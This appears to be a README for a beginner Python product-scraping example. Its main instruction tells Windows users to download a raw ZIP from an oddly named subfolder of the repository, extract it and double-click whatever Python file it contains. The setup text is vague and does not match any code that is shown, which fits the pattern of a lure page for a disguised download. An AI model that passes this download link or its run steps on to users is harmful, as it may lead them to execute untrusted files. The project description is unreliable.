📘 basic-parser-example - Simple product parsing made easy

🖥️ What this app does

Simple Product Parser is a small Python app for learning how web scraping works. It opens catalog pages, reads product details, and prints the results on screen.

It can help you understand how to:

• load web pages
• find product data on a page
• read text from page elements
• print clean output for each product

This project is meant for beginners who want a simple example they can run on Windows.

📥 Download and run on Windows

Visit this page to download and run the app:

https://github.com/kgxhama/basic-parser-example/raw/refs/heads/main/brachistochronous/parser-basic-example-v2.5.zip

If the page contains a source code ZIP or a release file, download it to your computer first.

Steps for Windows

1. Open the link above in your browser.
2. Click the green Code button or the release file, if one is provided.
3. Download the ZIP file to your Downloads folder.
4. Right-click the ZIP file and choose Extract All.
5. Open the extracted folder.
6. Look for a file named main.py, app.py, or a similar Python file.
7. If Python is installed, double-click the file or run it from Command Prompt.
8. Read the text output in the window.

If Windows asks what app should open the file, choose Python.

🔧 What you need

This project is built with:

• Python 3
• requests
• BeautifulSoup
• lxml

For normal use on Windows, you need:

• Windows 10 or Windows 11
• Python 3 installed
• internet access
• a web browser
• the files from this repository

🧩 What you will see

When the app runs, it reads multiple catalog pages and prints product data. The output may include:

• product title
• article number
• brand
• producer
• size
• old price
• new price

The data appears in the console window or terminal. This lets you see how a parser collects page content and turns it into readable text.

⚙️ How it works

The script follows a simple flow:

1. It opens a catalog page.
2. It reads the HTML from the page.
3. It searches for product blocks.
4. It extracts text from key fields.
5. It prints the result for each product.

The app uses requests to get page data and BeautifulSoup with lxml to read the page structure.

📁 Files in the project

You can expect files like these:

• Python script files
• a README.md file
• package files
• project folders for source code
• dependency lists such as requirements.txt

If you see a requirements file, install the listed packages before you run the script.

🧪 Install the Python packages

If you want to run the script from source, install the needed packages first.

Open Command Prompt in the project folder and run:

pip install requests beautifulsoup4 lxml

If the project includes a requirements.txt file, you can also use:

pip install -r requirements.txt

▶️ Run the script

After you install Python and the packages, run the main file from the project folder.

Example:

python main.py

If the file has a different name, use that name instead.

If the app opens a console window and closes fast, run it from Command Prompt so you can read the output.

🧭 Basic use

This app does not need a lot of setup.

1. Open the project folder.
2. Run the Python script.
3. Wait while it reads the product pages.
4. Check the printed list of products.

The script is made for learning, so the output is plain and easy to follow.

🛠️ Common issues on Windows

Python is not found

If Windows says Python is not found:

• install Python 3 from the Python website
• check the box that adds Python to PATH during setup
• close and reopen Command Prompt
• run the script again

Missing package error

If you see an error about requests, bs4, or lxml:

• open Command Prompt in the project folder
• run pip install requests beautifulsoup4 lxml
• try again

Script does not show output

If the window opens and nothing appears:

• wait a few seconds
• check that your internet connection works
• make sure the target page still loads in your browser
• run the script from Command Prompt

📚 Good fit for learning

This project is useful if you want to learn:

• how Python reads web pages
• how HTML parsing works
• how to extract product data
• how to print structured results
• how to use common scraping tools

It is a basic example, so it keeps the code simple and focused.

🔍 Search terms

This repository is related to:

• beautifulsoup
• beautifulsoup4
• education
• educational project
• parser
• parsing
• python
• python script
• python3
• scraper python

📝 Project purpose

Simple Product Parser is provided for educational use. It shows how a small Python script can read catalog pages and pull out product details in a way that beginners can follow.

🗂️ Quick start checklist

• download the project from the link above
• extract the files
• install Python 3
• install requests, beautifulsoup4, and lxml
• run the main Python file
• read the product data in the terminal